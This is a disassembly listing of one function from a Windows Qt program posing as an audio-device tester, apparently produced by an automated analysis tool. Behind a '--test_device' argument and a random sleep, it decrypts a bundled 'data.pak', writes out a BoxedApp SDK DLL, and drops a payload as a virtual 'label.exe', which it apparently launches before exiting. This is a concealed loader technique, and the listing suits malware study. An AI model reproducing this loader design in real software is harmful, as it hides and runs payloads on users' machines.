Function at 0x140003a8c
Capabilities:
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov rsi, rcx
mov qword [rbp + 0x80], rcx
xor r12d, r12d
mov r8d, r12d
xor edx, edx
call qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QMainWindow::constructor_class_QWidget____ptr64__class_QFlags_enum_Qt::WindowType_____ptr64]
nop
lea rax, vtable.AudioDevicesBase.0
mov qword [rsi], rax
lea rax, vtable.AudioDevicesBase.1.0
mov qword [rsi + 0x10], rax
lea rcx, [rsi + 0x30]
mov rdx, rsi
call fcn.14000151c
nop
lea rax, vtable.AudioTest.1.0
mov qword [rsi], rax
lea rax, vtable.AudioTest.0
mov qword [rsi + 0x10], rax
lea rcx, [rsi + 0x178]
call qword [sym.imp.Qt5Multimedia.dll_public:_void___cdecl_QAudioDeviceInfo::constructor_void____ptr64]
nop
lea rcx, [rsi + 0x180]
call qword [sym.imp.Qt5Multimedia.dll_public:_void___cdecl_QAudioFormat::constructor_void____ptr64]
nop
lea rax, [0x140004698]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QAbstractButton::clicked_bool____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0xe8]
lea rcx, [rsp + 0x40]
call fcn.14000633c
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [fcn.140004ab4]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0x70]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [fcn.140004c2c]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0x78]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005cc8]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0xa8]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005d18]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0xb8]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005d68]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0x130]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005dac]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0xc8]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [fcn.140005dfc]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0x140]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005e74]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::activated_int____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.1400063d8
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
lea rax, [0x140005370]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r12d
mov rax, qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QAbstractButton::clicked_bool____ptr64]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], r12d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rsp + 0x50]
mov rdx, qword [rsi + 0x160]
lea rcx, [rsp + 0x40]
call fcn.14000633c
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
xor edx, edx
mov rcx, qword [rsi + 0x70]
call qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::setCurrentIndex_int____ptr64]
xor edx, edx
mov rcx, rsi
call fcn.140004ab4
xor edx, edx
mov rcx, qword [rsi + 0x78]
call qword [sym.imp.Qt5Widgets.dll_public:_void___cdecl_QComboBox::setCurrentIndex_int____ptr64]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QCoreApplication::applicationDirPath_void_]
nop
mov rdx, rax
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QDir::toNativeSeparators_class_QString_const____ptr64_]
nop
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::constructor_void____ptr64]
nop
lea edx, [r12 + 7]
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QStandardPaths::writableLocation_enum_QStandardPaths::StandardLocation_]
nop
mov rax, qword [rbp - 0x70]
cmp dword [rax + 4], r12d
jne 0x140003faf
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QDir::tempPath_void_]
mov rdx, rax
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QString____ptr64____ptr64]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dil, r12b
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QStringList___cdecl_QCoreApplication::arguments_void_]
nop
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.1400060e4
nop
lea rcx, [rbp + 0x70]
call fcn.140006070
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax]
mov r15d, 1
cmp ecx, r15d
jbe 0x140003ff8
mov rax, qword [rsp + 0x70]
mov edx, dword [rax + 4]
lea rcx, [rsp + 0x70]
call fcn.14000665c
mov rax, qword [rsp + 0x70]
movsxd rbx, dword [rax + 8]
add rbx, 2
lea rbx, [rax + rbx*8]
mov ecx, dword [rax]
cmp ecx, r15d
jbe 0x140004022
mov rax, qword [rsp + 0x70]
mov edx, dword [rax + 4]
lea rcx, [rsp + 0x70]
call fcn.14000665c
mov rax, qword [rsp + 0x70]
movsxd r14, dword [rax + 0xc]
add r14, 2
lea r14, [rax + r14*8]
jmp 0x140004053
lea rdx, str.__test_device
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_bool___cdecl_QString::operator_char_const____ptr64_const___ptr64]
movzx edi, dil
test al, al
cmovne edi, r15d
add rbx, 8
cmp rbx, r14
jne 0x140004035
lea rcx, [rsp + 0x70]
call fcn.140006070
test dil, dil
je 0x14000458d
call fcn.14000140c
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul eax, edx, 0x3c
sub r8d, eax
add r8d, 0x3c
mov r14d, 0x1f4
test r8d, r8d
jle 0x1400040bd
mov ebx, r8d
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, r15
jne 0x1400040af
call qword [sym.imp.Qt5Core.dll_public:_static_class_QCoreApplication____ptr64___cdecl_QCoreApplication::instance_void_]
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QCoreApplication::applicationDirPath_void_]
nop
mov rdx, rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QDir::toNativeSeparators_class_QString_const____ptr64_]
mov rbx, rax
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QChar___cdecl_QDir::separator_void_]
movzx r8d, word [rax]
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.14000146c
nop
lea r8, str.data.pak
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.1400014b0
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::setFileName_class_QString_const____ptr64____ptr64]
mov edx, r15d
lea rcx, [rbp + 0x68]
call fcn.140005fec
mov edx, dword [rax]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public_virtual:_bool___cdecl_QFile::open_class_QFlags_enum_QIODevice::OpenModeFlag_____ptr64]
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray___cdecl_QIODevice::readAll_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFileDevice::close_void____ptr64]
movabs rdx, 0x1ccf2021cb31fd9a
mov r8d, 0xa
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QByteArray::number_long_long___int64___int_]
mov rbx, rax
lea rdx, str.K3JaHMYigz
lea rcx, [rbp + 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rdx, [rbp + 8]
mov rcx, rax
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEHAA_AVQByteArray__XZ]
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp]
call fcn.140001418
nop
mov r8d, r15d
mov rdx, rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QCryptographicHash::hash_class_QByteArray_const____ptr64__enum_QCryptographicHash::Algorithm_]
nop
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rdx, str.EgbsVh
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEHAA_AVQByteArray__XZ]
nop
mov r8d, r15d
mov rdx, rax
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QCryptographicHash::hash_class_QByteArray_const____ptr64__enum_QCryptographicHash::Algorithm_]
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rbx, rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x90]
call fcn.140001140
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QByteArray::size_void_const___ptr64]
mov ebx, eax
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::data_void____ptr64]
mov rdx, rax
mov r8d, ebx
lea rcx, [rbp + 0x90]
call fcn.140001358
mov r9d, 0x169600
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray___cdecl_QByteArray::mid_int__int____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QByteArray::size_void_const___ptr64]
mov ebx, eax
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QByteArray::size_void_const___ptr64]
mov r8d, eax
mov r9d, ebx
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray___cdecl_QByteArray::mid_int__int____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::clear_void____ptr64]
lea rcx, [rbp - 0x66]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QChar___cdecl_QDir::separator_void_]
movzx r8d, word [rax]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x48]
call fcn.14000146c
nop
lea r8, str.bxsdk64.dll
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.1400014b0
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QDir::toNativeSeparators_class_QString_const____ptr64_]
nop
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::setFileName_class_QString_const____ptr64____ptr64]
mov edx, 2
lea rcx, [rbp + 0x6c]
call fcn.140005fec
mov edx, dword [rax]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public_virtual:_bool___cdecl_QFile::open_class_QFlags_enum_QIODevice::OpenModeFlag_____ptr64]
test al, al
je 0x140004410
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_long_long___int64____cdecl_QIODevice::write_class_QByteArray_const____ptr64____ptr64]
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QDateTime___cdecl_QDateTime::currentDateTime_void_]
nop
lea rdx, str.dd.MM.yyyy_hh:mm:ss
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QDateTime::toString_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEGBA_AVQByteArray__XZ]
nop
mov r8d, r15d
mov rdx, rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QCryptographicHash::hash_class_QByteArray_const____ptr64__enum_QCryptographicHash::Algorithm_]
nop
mov rdx, rax
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_long_long___int64____cdecl_QIODevice::write_class_QByteArray_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFileDevice::close_void____ptr64]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QDateTime::destructor_void____ptr64]
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::clear_void____ptr64]
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEGBA_AVQByteArray__XZ]
nop
mov rcx, rax
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::data_void____ptr64]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rdx, str.BoxedAppSDK_Init
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.BoxedAppSDK_SetContext
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.BoxedAppSDK_CreateVirtualFileA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x140004571
lea rcx, str.70cd1c29_ef2d_4d01_be40_0811c554bf41
call rsi
call rdi
lea rcx, [rbp - 0x64]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QChar___cdecl_QDir::separator_void_]
movzx r8d, word [rax]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.14000146c
nop
lea r8, str.label.exe
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.1400014b0
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rbp - 0x60], r12d
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEGBA_AVQByteArray__XZ]
nop
mov rcx, rax
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::data_void____ptr64]
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, r15d
mov edx, 0x40000000
call rbx
mov rdi, rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QByteArray::size_void_const___ptr64]
mov ebx, eax
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::data_void____ptr64]
mov rdx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x48]
call fcn.140005edc
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::clear_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov ebx, 0xb
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, r15
jne 0x140004576
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor edx, edx
mov rcx, rsi
call fcn.140004c2c
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFile::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov rax, rsi
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140007510
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret